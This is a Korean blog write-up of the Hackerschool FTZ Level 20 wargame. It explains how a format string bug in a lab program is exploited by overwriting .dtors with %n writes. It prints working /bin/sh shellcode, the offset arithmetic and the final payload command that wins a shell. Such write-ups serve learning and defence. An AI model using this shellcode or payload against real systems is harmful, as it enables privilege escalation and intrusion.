System Hacking

[해커스쿨FTZ] Level20

BIGFROG 2020. 1. 6. 17:13

 

포멧스트링 취약점을 이용한 버퍼오버플로우가 발생하는 듯 하다.

printf 함수에 포맷을 지정해주는 인자가 없기 때문이다.

fgets로 79바이트만 받기 때문에 bof문제는 아니다.

 

일단 스택은 88바이트 확장된다..

 

ebp 0xbffff8d8 value : 0xbffff8f8

 

esp 0xbffff870 value : 0xbffff880

 

88바이트를 덮어쓰면 ebp앞까지 덮어쓸 수 있다.

 

포맷 스트링 취약점에 대해서 알아보자.

 

포맷 인자를 지정해주지 않는 경우 공격을 위해

AAAA%x%n 등을 입력으로 줘보고 출력이 되는지를 확인해보자.

된다.

 

몇 번의 실험.

 

AAAA %08x

AAAA %08x %08x

AAAA %08x %08x %08x

AAAA %08x %08x %08x %08x

4번째 실험에서, 출력이 AAAA 0000004f 4213ecc0 4207a750 41414141

이 나왔다.

41은 0x41로 A를 의미하는데..

메모리 구조를 예상해볼 수 있다.

 

[메모리 구조]

ret(4)

sfp(4)

dummy(8byte)

bleh[80](80)

dummy(12byte)

&bleh(4byte)

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

25바이트 쉘코드를 환경변수에 입력. NOP은 1000개 줬다.

쉘코드 주소 : 0xbffffc19 "SHELLCODE"

bfff - 49151 -뒤 2바이트에 넣을 부분

fc19 - 64537 - 먼저 넣을 부분

 

*메모리를 변조하기 위해서는 최소 4byte를 변조해야 하는데,

한번에 0~65535에 해당하는 .. 0x00~0xff. 즉, 2바이트밖에 수정할 수가 없다.

따라서 두 번에 나누어서 써줘야 한다.

 

페이로드는 대략 이런 식인가본데..

"\xd8\xd6\xff\xff(타겟메모리앞2바이트)AAAA\xda\xd6\xff\xff(타겟메모리,나머지2바이트) %65521x %x %n %65546x%n"

 

%65521x 와 같이 쓰는 이유는,

포맷스트링에 숫자를 저런 식으로 넣으면 65521바이트만큼 주소를 확보한다는 의미이다.

65521은 hex값으로 fff1인데, 이런 식으로 값을 조절해서 메모리 주소를 원하는 값으로 타겟팅할 수 있다.

 

실제 익스플로잇을 하는 경우에는,

프로그램의 dtors 또는 ret 주소를 수정하여 쉘코드 주소를 넣는 것이다.

 

보통 ret주소 수정은, 입력하는 파라미터에 따라 바뀌므로 잘 사용하지 않고,

대부분 dtors 주소 공략을 한다.

 

dtors를 찾는 명령어는,

objdump -h 파일이름 | grep .dtors

를 해서 나온 두번째 값에 +4를 해주면 된다.

0804 9594이므로 +4를 해서 0804 9598이다.

 

%n이란,

%n이 나오기 전에 출력된 자릿수를 계산하여,

스택의 다음 4바이트에 있는 '내용을 주소로 여기고' 그 '주소'에 계산한 자릿수, 즉, 숫자를 입력한다!

AAAA%n이면 -> 0x41414141에 4를 입력하게 되는 것! 근데 0x41414141에는 접근할 수 없으므로 segmentation fault가 뜬다.

 

쉘코드 주소 : 0xbffffc19 "SHELLCODE"

bfff - 49151 -뒤 2바이트에 넣을 부분

fc19 - 64537 - 먼저 넣을 부분

 

페이로드:

AAAA[dtors주소값]AAAA[dtors주소값+2바이트]%8x %8x %8x %64497c %n %50150c %n

4+4+4+4+8+8+8 = 40바이트

64537 - 40 = 64497

 

이후에 뒷자리 bfff부분도 계산을 해줘야한다.

%n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 앞부분은 64537이다(%n은제외하는듯 출력이 아니니까)

그런데 앞부분 64537을 bfff부분인 49151에서 빼면 음수가 나오므로

앞에 1을 붙인 값 1bfff = 114687에서 빼도록 하자.

114687-64537 = 50150이다.

 

 

쉘코드 주소 바뀜;

주소: 0xbfff f845

f845 = 63557

63557-40 = 63517

114687 - 63557 = 51130

 

 

최종 페이로드:

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%63517c%n%51130c%n"';cat)|./attackme

성공!!!

 

클리어 패스워드 : "i will come in a minute"

 

 

 

 

'System Hacking' 카테고리의 다른 글

[해커스쿨FTZ] Level11  (0) 2020.01.06
[해커스쿨FTZ] Level12  (0) 2020.01.06
[해커스쿨FTZ] Level19  (0) 2020.01.06
[해커스쿨FTZ] Level18  (0) 2020.01.06
[해커스쿨FTZ] Level17  (0) 2020.01.06